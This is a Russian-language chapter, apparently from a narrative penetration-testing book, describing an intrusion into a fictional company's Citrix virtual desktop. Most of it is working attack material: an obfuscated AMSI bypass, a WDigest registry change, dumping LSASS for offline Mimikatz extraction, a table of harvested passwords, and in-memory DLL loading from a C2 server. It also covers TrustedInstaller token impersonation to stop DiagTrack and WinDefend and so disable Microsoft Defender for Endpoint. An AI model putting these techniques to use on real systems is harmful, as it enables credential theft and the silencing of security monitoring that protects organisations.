Глава 11. Победа над машинами

Поверх трёх доступных через RDP машин (со STRAT-CI-01 по 03), Рисунок 11.1 показывает иное приложение с потенциалом: XenDesktop, некий вид виртуальной рабочей станции, которой способны пользоваться многие пользователи для выполнения земных задач, таких как редактирование документов Office.

Виртуальные рабочие места, или XenDesktops, работают на совместно используемых рабочих столах Windows для имитации обычной практики рабочего стола, как это видно на Рисунке 11.2.

Давайте рассмотрим кто пользуется этот совместный рабочий стол. Быстрая команда quser отображает восемь пользователей, одновременно подключённых к этой виртуальной машине рабочего стола:

C:\users\citrix_srv> quser
USERNAME      SESSIONNAME ID  STATE  TIME  LOGON TIME
>citrix_srv   rdp-tcp#3   1  Active 3/8/2018 11:00 PM
 neal.strauss rdp-tcp#4   2  Active 3/8/2018 09:12 PM
 barry.lois   rdp-tcp#5   3  Active 3/8/2018 09:20 PM
 anya.ivanova rdp-tcp#6   4  Active 3/8/2018 09:22 PM
 elise.first  rdp-tcp#7   4  Active 3/8/2018 10:54 PM
--snip--
		

Это достаточно сладкий горшочек; раньше мы не видели ни одного из этих пользователей. Если нам удастся запустить Mimikatz в этом совместно используемом рабочем столе, мы сможем получить обильную добычу, тем паче, что согласно нашим предыдущим разведочным данным, эти учётные записи пользователей помогают нам заполнить все оставшиеся группы!

Однако, прежде чем мы отправимся на диверсию в одной из этих машин, опыт учит нас не торопиться и для начала провести лёгкую разведку. В конце концов, это наше первое рабочее место Windows в среде Strat Jumbo, поэтому мы ещё не знаем с чём мы сталкиваемся. Начнём с перечисления версий операционной системы, номера сборки, запущенных процессов и служб для совместно используемой машины:

C:\> wmic os get buildnumber, caption 
BuildNumber    Caption
16299          Microsoft Windows 10 Pro

C:\> wmic process get description,ExecutablePath > process.txt

C:\> wmic service where (state="running") get Name, Caption, State, ServiceType, StartMode, pathname > services.txt

C:\> wmic useraccount > users.txt
		

Мы работаем с Windows 10.0.16299, также именуемого как Fall Creators Update или RedStone 3.

Проверяем список процессов через вызов wmic:

C:\> wmic process get description,ExecutablePath
Description   ExecutablePath
--snip--
<empty>       MsMpEng.exe

SessionEnval  C:\Windows\System32\svchost.exe -k netsvcs

Sense         C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe
--snip--
		

Windows Defender, идентифицируемый процессом с названием MsMpEng.exe, запущен и работает как обычно. Однако выделяется ещё одна служба, запущенная на этой машине: MsSense.exe¹. Выступая частью комплекта Windows Defender, он не имеет ничего общего с классическим антивирусным решением Microsoft. Скорее, это часть решения следующего поколения EDR Microsoft Defender for Endpoint (MDE),, ранее известного как Windows Defender Advanced Threat Protection (ATP).

MDE это решение для защиты от вредоносных программ, основанное на машинном обучении, которое выявляет сложные атаки после взлома. Это грозный противник. Принимая во внимание то, что у нас есть контроль над несколькими серверами, из которых мы можем украсть учётные данные Citrix, скорее всего, не стоит рисковать бороться с MDE из- за восьми глупых паролей, которые мы, вероятно, могли бы получить на своих скомпрометированных серверах, подождав ещё несколько дней, но на этот раз мы сойдём с ума и примем вызов! Исследование того, как его обойти, открывает множество возможностей.

Чтобы подготовиться к предстоящей схватке с MDE, мы регистрируемся для получения пробной версии Defender for Endpoint на сайте Microsoft и устанавливаем её в тестовой машине. Процесс регистрации занимает 24 часа, а процедура установки менее нескольких секунд, поскольку все машины Windows 10 поставляются с предустановленной службой MDE.

В конечном счёте, наша цель состоит в том, чтобы выдать дамп паролей в открытом виде, хранящихся в печально известном процессе LSASS.exe. Это грубое описание того что осуществляет Mimikatz. Тем не менее, как только мы приступаем к исполнению своего изящного сценария Invoke-Mimikatz.ps1, MDE отображает предупреждение в нашей платформе проверки, как это показано на Рисунке 11.3.

MDE перечисляет системную активность, приведшую к подозрительному поведению, или помеченные им команды. Забавно, что он не выявлял подозрительного доступа к памяти LSASS и не помечал отображённые на рисунке команды. Вместо этого MDE сообщает нам, что в некий момент между вызовами Test-MemoryRangeValid и Update-MemoryAddress было замечено, что "на компьютере был запущен вредоносные командлет PowerShell". Обе функции присутствуют в нашем сценарии Invoke-Mimikatz.ps1.

Мы попытаемся применить некий уровень запутывания к возможным подозрительным названиям функций в самом Mimikatz и снова запускаем его. Увы, мы обнаруживаем, что порой наш сценарий снова выявляется с предупреждением о "краже учётных данных" без каких- либо подробностей, как это отражено на Рисунке 11.4.

В иных случаях он вообще не применяется, но отмечается обход AMSI, как это отражено на Рисунке 11.5.

После экспериментами с ещё целым рядом запутываний, мы обнаруживаем, что та же самая команда AMSI не помечается при подобном приводимому ниже сложному запутыванию:

PS X:\> Sv('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['((noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- ((VaRIAbLe ('R9'+'hyT') -val ).Length)])
		

Эта последняя проверка ясно демонстрирует, что по крайней мере часть алгоритма обнаружения основана на известных шаблонах вызывающих подозрение строк. В противном случае, вне зависимости от полезной нагрузки, MDE обязан определять когда отключён AMSI.

Тем не менее, в то же самое время, несогласованные результаты между выполнением полезных нагрузок в процессе обнаружения MDE предполагается наличие некоторого обучающего поведения. Мы можем заставить наш собственный экземпляр MDE выносить свой вредоносный код, многократно исполняя странные команды PowerShell, но выполнение этих же команд в иной среде приведёт к срабатыванию различных предупреждений. Такое неустойчивое и зависимое от контекста поведение MDE вызывает глубокую тревогу - мы не можем быть уверенными на 100% что какая- либо полезная нагрузка останется незамеченной. Это как играть в "Сапёра": самое большое что мы способны сделать, это оценить безопасность хода на основе вероятностных значений и надеяться на лучшее.

Передвижение внутри сетевой среды со столь непредсказуемым решением для обеспечения безопасности, отслеживающим каждую команду, мягко говоря, болезненно и даёт мало гарантий. Итак, давайте придумаем некий способ целиком обойти это, не так ли?

Как уже упоминалось ранее, всё что в действительности предпринимает Mimikatz, это извлекает хранящиеся в отвечающем за обработку удостоверения подлинности процессе LSASS.exe секреты. Возможно, мы не сможем осуществить анализ этого процесса в реальном масштабе времени, когда Mimikatz запущен в целевой машине, но ничто из того, что мы наблюдали, не запрещает нам выгружать содержимое LSASS.exe в файл, а затем передавать его в автономном режиме запущенному в нашей машине экземпляру Mimikatz.

Забудьте о классических инструментах дампа процесса, таких как procdump.exe и Out-Minidump PowerShellMafia; они будут помечены. Однако имеется простой и лёгкий способ выполнения дампа процессов в Windows 10 при помощи старого доброго Диспетчера задач. Просто откройте его, отыщите запись LSASS.exe (или, в некоторых версиях Windows, Local Security Authority Process), кликните правой кнопкой и нажмите по Create dump file. Мы проделаем это в своей тестовой лаборатории (Рисунок 11.6).

Теперь подождём. А ждать ... и при этом ... ни единого писка от MDE, но Диспетчер задач сообщает, что соответствующий файл дампа был записан в C:\users\citrix_crv\AppData\Local\Temp\lsass.dmp, что странно, поскольку какое допустимое применение может иметь кто угодно для дампа LSASS.exe? Тем не менее, теперь, когда у нас имеется несколько безопасный метод, который ускользает из поля зрения MDE, мы можем испробовать свой новый трюк в виртуальном рабочем столе Strat Jumbo.

Мы начинаем с включения в XenDesktop поставщика WDigest с тем, чтобы он сохранял все вводы паролей на перспективу в обратимом формате.

C:\> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
		

Мы ждём пару часов, пока пользователи навводят каких- то паролей, которые можно будет сбросить, а затем вернёмся дабы собрать полученный образ LSASS.exe пр помощи Диспетчера задач.

Для выделения секретов из данного файла дампа с названием по умолчанию lsass.dmp, мы загрузим его в одной из запущенных в нашей среде лаборатории машин, которая аналогична тем машинам, из которых мы получили это образ (например, в машину с 64- битным Windows 10 или в Server 2019) сеанс Mimikatz. Очевидно, в своей собственной машине мы запросто отключим антивирус без опасений потенциального выхода из строя. Когда мы загрузим полученный для его сбора в Mimikatz дамп, тот выделит имеющиеся пароли в точности как если бы мы запускали его в самом XenDesktop:

mimikatz# sekurlsa::minidump lsass.dmp

Switch to MINIDUMP : 'lsass.dmp'

mimikatz# sekurlsa::logonpasswords
--snip--
   * Username : Elise.First
   * Domain   : STRATJUMBO
   * Password : Foryou09
--snip--
   * Username : anya.ivanova
   * Domain   : STRATJUMBO
   * Password : Monet-#
--snip--
		

И вот как это делается! Наконец- то мы обнаружили учётные записи от каждой из групп разработчиков Strat Jumbo, как это отражено в Таблице 11.1.

Таблица 11-1. Полный набор полномочий для группы разработчиков Strat Jumbo

Группа	Имя пользователя/ пароль
SNOW	jack.bosa/Spa98row!%
YGRITTE	lizzie.dutch/Holi_day_213
CERSEI	mozzie.caffrey/12Drumbeat! lucilla.silvy/Greyjoy*1
TYRION	neil.strauss/Va12Crav! barry.lois/Away_speed!!
DAENERYS	cassini.morini/Dragons*fire
RHAEGAR	janet.mcentire/ Molly_Dorian10 rodolpho.schwatz/Great*Gatsby0
TYWIN	tara.tomora/Checkme$
BAELISH	elise.first/Foryou09 anya.ivanova/Monet-#
TORMUND	ron.bilius/AkRiV€ra9 richard.darwin/Greatest-Show-3ver!
ARYA	laura.stevens/5YadorChan09 monica.fourb/WishYouHere*B

Для всех намерений и целей мы покончили с этой рабочей станцией. Мы вошли в неё, обошли обнаружение и получили пароли в явном виде. Но было бы неправильно оставить это сейчас, не правда ли? Давайте подробнее рассмотрим как работает MDE, чтобы мы могли разработать иные способы просочиться сквозь его веб обнаружения.

Большинство передовых хакерских инструментов выполняют сложные манипуляции с памятью, например, внедрение DLL, регистрацию драйверов и правку байтов памяти. Мы могли бы найти путь обхода MDE для каждого инструмента, применяя усиленное запутывание или альтернативные вызовы API Windows, но переписывание всего нашего арсенала сценариев только для того чтобы управиться с раздражающей привычкой MDE заглядывать к нам через плечо, быстро превратится в болезненное занятие.

Итак, прежде чем мы двинемся далее, давайте раз и навсегда разберёмся с настоящей проблемой - самим MDE. Для правильной работы MDE полагается на две основные службы:

В отличие от классического антивируса, большинство инструментов EDR выносят бо́льшую часть своей логики обнаружения и корреляции в унифицированную облачную платформу. MDE не исключение: он просто собирает события и отправляет их в платформу Microsoft. Для полного отключения MDE мы можем либо сделать целью службу Sense (MsSense.exe) и вывести из строя этого агента, либо прекратить работу службы DiagTrack (diagtrack.exe) для блокирования облачной консоли. Однако, останов этих служб и связанных с ними процессов это непростая задача, как вы могли бы ожидать, даже когда вы обладаете правами локального администратора.

Sense и DiagTrack обладают аналогичной защитой, с коей нам предстоит иметь дело. Начиная с Windows RedStone 3 Creator Update 1706, служба Sense помечается как NOT_STOPPABLE, что означает, что даже администратор не может по- простому отключить её:

C:\Lab> sc query sense

SERVICE_NAME: sense
  TYPE            : 10 WIN32_OWN_PROCESS
  STATE           : 4 RUNNING
                  (NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
  WIN32_EXIT_CODE : 0 (0x0)
		

DiagTrack не помечается таким образом, поэтому мы можем остановить её воспользовавшись командой sc stop diagtrack. Тем не менее, к несчастью, MDE просто перезапустит её когда потребуется выполнить взаимодействие с соответствующей облачной консолью. Для её окончательного отключения, нам бы потребовалось повозиться с её двоичным путём службы, указывающем на исполняемый файл на диске, но когда мы пробуем выполнить это, мы натыкаемся на отказ в доступе:

C:\Lab> sc config diagtrack binPath="hey"

[SC] ChangeServiceConfig FAILED 5 :
Access is denied
		

Основная причина этой ошибки состоит в том, что и служба Sense, и служба DiagTrack пребывают под новой защитой служб с названием Protected Process Light (PPL):

C:\Lab> sc qprotection sense
[SC] QueryServiceConfig2 SUCCESS
SERVICE sense PROTECTION LEVEL : WINDOWS_LIGHT
		

Защита службы это функциональная возможность безопасности, реализованная начиная с Windows 8.1, которая экранирует особенные процессы режима пользователя от определённых атак, таких как внедрение процесса, манипуляция памятью и прекращение процесса, причём даже когда они осуществляются от имени учётной записи администратора.

Чтобы получить технические сведения, помеченный защищённым процесс обладает соответствующим флагом в своей структуре E_PROCESS, установленным в положительное значение (это значение зависит от величины уровня защиты). Структура E_PROCESS пребывает в пространстве ядра, а потому требует загрузки драйвера (или применения эксплойта ядра) в данной системе чтобы перезаписать её. Для регистрации драйвера в Windows 10 необходим сертификат подписи кода с расширенной проверкой (EV, extended validation) который, не считая проверки подлинности, стоит около 400 долларов.

Существуют инструменты, предназначенные для отключения этого флага защиты, например, PPLKiller, которые поставляются со своим собственными драйверами с подписью и предлагают возможность отключить защиту процесса с применением подобной приводимой ниже команды:

C:\> sc create pplkiller binPath=C:\Windows\System32\drivers\pplkiller.sys type= kernel

C:\> sc start pplkiller
		

Mimikatz предлагает аналогичные возможности. Тем не менее, MDE подхватывает драйвер Mimikatz и это лишь вопрос времени когда он подберёт и PPLKiller. В конце концов, мы не можем изменить название своего драйвера без запроса действующего сертификата EV, что существенно ограничивает нашу манёвренность.

К счастью, имеется более спокойный и более надёжный маршрут.

В описании защищённых служб Microsoft говорится, что "только доверенные абоненты имеют возможность останова такой службы". Что они подразумевают под доверенными абонентами? Оказывается, существует служба с названием TrustedInstaller, которой вменяется обязанность управления защищёнными службами и прочими важными ресурсами в системе. Именно эта служба, к примеру, способна переименовывать и удалять конфиденциальные файлы, такие как C:\windows\system32\cmd.exe. Если мы взглянем на список управления доступом (ACL, access control list) для cmd.exe:

PS C:\Lab> Get-Acl C:\Windows\System32\cmd.exe |fl

Path   : C:\Windows\System32\cmd.exe
Owner  : NT SERVICE\TrustedInstaller
Group  : NT SERVICE\TrustedInstaller
         NT SERVICE\TrustedInstaller Allow FullControl
		

мы можем отметить, что связанная со службой TrustedInstaller виртуальная группа NT Service\TrustedInstaller обладает полными правами над файлом cmd.exe. То же самое справедливо для служб PPL, таких как DiagTrack и Sense!

Однако странно, что сама служба TrustedInstaller не помечена как защищённая служба:

C:\> sc qprotection trustedinstaller
[SC] QueryServiceConfig2 SUCCESS
SERVICE trustedinstaller PROTECTION LEVEL: NONE.
		

Я полагаю, это некий парадокс бесконечное регрессии. В любом случае, это означает, что мы можем применять свои права для изменение двоичного пути TrustedInstaller для запуска командной строки, которая автоматически останавливает связанную с MDE службу Sense, как это отражено на Рисунке 11.7. Вот та команда, которая, в теории, должна делать именно это:

C:\> sc config TrustedInstaller binPath= "cmd /C sc stop sense" && sc start TrustedInstaller
		

Почти. Нас блокируют Windows Defender и MDE. Вместо этого мы испробуем ещё более незаметную команду WMI:

PS C:\Lab> Get-WmiObject win32_service -filter "Name='trustedinstaller'" | Invoke-WmiMethod -Name Change -ArgumentList @($null,$null,$null,$null,$null,"cmd /K sc stop sense");
PS C:\> start-service trustedinstaller
		

Ладно, пора засучить рукава. Поскольку служба TrustedInstaller не защищена, попробуем внедрить новый поток в её процесс. Мы будем пользоваться данным потоком для создания нового интерпретатора командной строки, который унаследует дескриптор токена безопасности TrustedInstaller. Иными словами, мы сможем действенно выдавать себя за подлинный TrustedInstaller с его полномочиями!

Существует множество способов внедрения потока в процесс: у Mimikatz имеется модуль манипуляции токенами, проект Empire содержит сценарий Invoke-TokenManipulation, а Meterpreter загружает в память версию инструмента Incognito. Тем не менее, все эти инструменты являются хорошо знакомыми атакующими инфраструктурами, а если мы будем применять усиленное запутывание (которое, как мы уже видели не всегда способно срабатывать), MDE наверняка их зацепит. На Рисунке 11.9 показано, как MDE достаточно точно выявляет выбранные схемы атак.

Нам потребуется создать свою собственную процедуру для пародирования токенов, которая пока не была обработана MDE как часть обучающих сведений. Такая техника может показаться слишком сложной, но, к счастью, нам не требуется начинать с нуля. Джеймс Форшоу разработал очень представительный набор инструментов PowerShell, подробно описанный на странице https://github.com/google/sandbox-attacksurface-analysis-tools/. Эти инструменты реализуют NT- структуры и оболочки для интерфейсов API Windows нижнего уровня чтобы проделывать всевозможные забавные вещи, такие как вывод списка объектов ядра (например, семафоров, мутантов и тому подобного), считывания процессов и, конечно же, для воспроизведения токенов безопасности!

Мы можем выгрузить этот проект целиком с GitHub, а затем скомпилировать в Visual Studio модули NtObjectManager и NtApiDotNet, как это показано на Рисунке 11.10. Эти два модуля содержат те методы, которые мы будем применять для подражания своим токенам.

Если у вас нет Visual Studio, вы можете выгрузить его из https://visualstudio.microsoft.com/vs/community/.

Компиляция этих двух модулей даёт две DLL .NET с названиями NtObjectManager.dll и NtApiDotNet.dll, которые содержат всё что нам требуется для передразнивания TrustedInstaller.exe. Эти DLL не включают никаких антивирусных предупреждений, поскольку они содержат легальный код Windows и всего лишь определяют обёртки вокруг API Windows нижнего уровня. Поэтому, технически говоря, мы можем просто сбросить их в виртуальный диск Strat Jumbo, загрузить их в PowerShell и полностью уйти от них. Однако, будучи скрытными предусмотрительными хакерами, мы выберем чистую загрузку в память.

Мы выгружаем эти DLL в свой сервер C2 и пользуемся функцией Load соответствующего класса System.Reflection.Assembly для динамической загрузки этих DLL в память. И снова, это срабатывает, поскольку мы имеем дело с файлами сборки .NET. Прежде всего мы, как обычно, настраиваем объект браузера и полномочия прокси:

PS C:\> $browser = New-Object System.Net.WebClient;
PS C:\> $browser.Proxy.Credentials= [System.Net.CredentialCache]::DefaultNetworkCredentials;
PS C:\> $b = $browser.DownloadData("https://www.stratjumbo.co.au/NtObjectManager.dll")
PS C:\> $c = $browser.DownloadData("http://www.stratjumbo.co.au/NtApiDotNet.dll")
		

И, наконец, мы загружаем свои DLL в память:

PS C:\> $d = [System.Reflection.Assembly]::Load($b)
PS C:\> $e = [System.Reflection.Assembly]::Load($c)
		

Затем мы импортируем эти загруженные сборки как будто мы импортируем любые обычные DLL или сценарий PowerShell, получая доступ к сонму изящных небольших функций для управления объектами .NET, которые содержат эти библиотеки DLL.

PS C:\> Import-module $d
PS C:\> Import-module $e

PS C:\> $e.GetExportedTypes()

IsPublic IsSerial Name
True     False    GetNtSidCmdlet
True     False    GetNtAccessMaskCmdlet
True     False    GetNtGrantedAccessCmdlet
True     False    AccessCheckResult
--snip--
		

Мы проверяем инструментальную панель MDE чтобы убедиться что мы ничего не зажгли в его радаре. Рисунок 11.11 показывает что на данный момент нет никаких предупреждений. Всё идёт как и ожидалось.

Отлично. Теперь мы можем начать возиться с токенами безопасности! Мы желаем получить токены TrustedInstaller и воспользоваться их привилегированными разрешениями для отключения MDE. Во- первых, мы получаем разрешение SeDebugPrivilege для своего текущего сеанса PowerShell, которое позволит нам взаимодействовать с пространством памяти системного процесса:

PS C:\Lab> $Token = Get-NtToken -Primary
PS C:\Lab> $Token.SetPrivilege([NtApiDotNet.TokenPrivilegeValue[]]"SeDebugPrivilege", [NtApiDotNet.PrivilegeAttributes]"Enabled")

PS C:\> $Token.Privileges | Where-Object {$_.name -eq "SeDebugPrivilege"}

Attributes : Enabled
Luid       : 00000000-00000014
Name       : SeDebugPrivilege
DisplayName: Debug programs
Enabled    : True
		

Затем мы запускаем процесс TrustedInstaller и получаем дескриптор для его процесса, воспользовавшись Get-NtProcess:

PS C:\Lab> start-service trustedinstaller

PS C:\Lab> $ti_process = Get-NtProcess -Name "TrustedInstaller.exe"
		

В своей заключительной части мы вызовем из DLL NtApiDotNet метод CreateProcess для запуска интерпретатора командной строки с TrustedInstaller.exe в качестве его родительского процесса. Однако прежде чем мы сделаем это, нам необходимо подготовить эти рти ключевых параметра:

Мы транслируем эти параметры в структуры NtApiDotNet чтобы уложиться в отличительные признаки данного метода. Прежде всего мы создаём новый объект Win32ProcessConfig для хранения конфигурации своего процесса:

PS C:\Lab> $config = New-Object NtApiDotNet.Win32.Win32ProcessConfig
		

Затем мы выполняем назначение своей командной строке для исполнения:

PS C:\Lab> $config.CommandLine = "cmd"
		

Мы сохраняем число 16 в своём параметре CreationFlags для принуждения метода CreateProcess к открытию нового окна консоли:

PS C:\Lab> $config.CreationFlags = [NtApiDotNet.Win32.CreateProcessFlags]16
		

И, наконец, мы назначаем TrustedInstaller.exe родительским процессом:

PS C:\Lab> $config.ParentProcess = $ti_process
		

Мы запитываем этой конфигурацией функцию CreateProcess и успешно порождаем новый интерпретатор командной строки, порождая подлинность TrustedInstaller, как это отражено на Рисунке 11.12:

PS C:\> [NtApiDotNet.Win32.Win32Process]::CreateProcess($config)
		

Из этого нового окна командной строки мы можем просто изменить двоичный путь DiagTrack, затем и вовсе остановив эту службу. То же самое мы проделаем для службы WinDefend, чтобы также отключить и его антивирус:

C:\Lab> sc config diagtrack binPath="hey"
C:\Lab> sc stop diagtrack
C:\Lab> sc query diagtrack

SERVICE_NAME: diagtrack
   TYPE            : 10 WIN32_OWN_PROCESS
   STATE           : 3 STOP_PENDING
                   (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
   WIN32_EXIT_CODE : 0 (0x0)
		

Конец! Прощай, Microsoft Defender for Endpoint (Рисунок 11.13). Это было забавно!

Следует сделать одно замечание: хотя мы можем останавливать при помощи данного трюка с внедрением потоков WinDefend и DiagTrack, поскольку начиная с Windows 10 версии 1607 служба Sense помечена как NOT_STOPPABLE, мы не способны её останавливать технически. Чтобы победить MDE достаточно отключения DiagTrack, но если вы также настаиваете и на отключении службы Sense, вам потребуется изменить её двоичный путь и перезапустить систему чтобы затем это изменение вступило в силу.

Если по какой- либо причине мы не можем возиться со свойствами этой службы, мы всегда можем изменить имена исполняемых файлов в папке C:\Program Files\Windows Defender Advanced Threat Protection\, воспользовавшись своим приглашением на ввод с повышенными токеном TrustedInstaller правами. Например, переименование файла SenseCncProxy.exe не позволит MDE передавать данные своей телеметрии своей облачной службе. Это будет иметь то же воздействие, что и отключение DiagTrack.

Поскольку MDE в значительной степени полагается на свою облачное решение для определения того какое поведение является нормальным, а какое нет, другим альтернативным способом отключения MDE выступает блокировка соединения с серверами Windows. Когда ваш межсетевой экран не управляется GPO, мы можем поместить в него правила, блокирующие взаимодействие со следующими URL: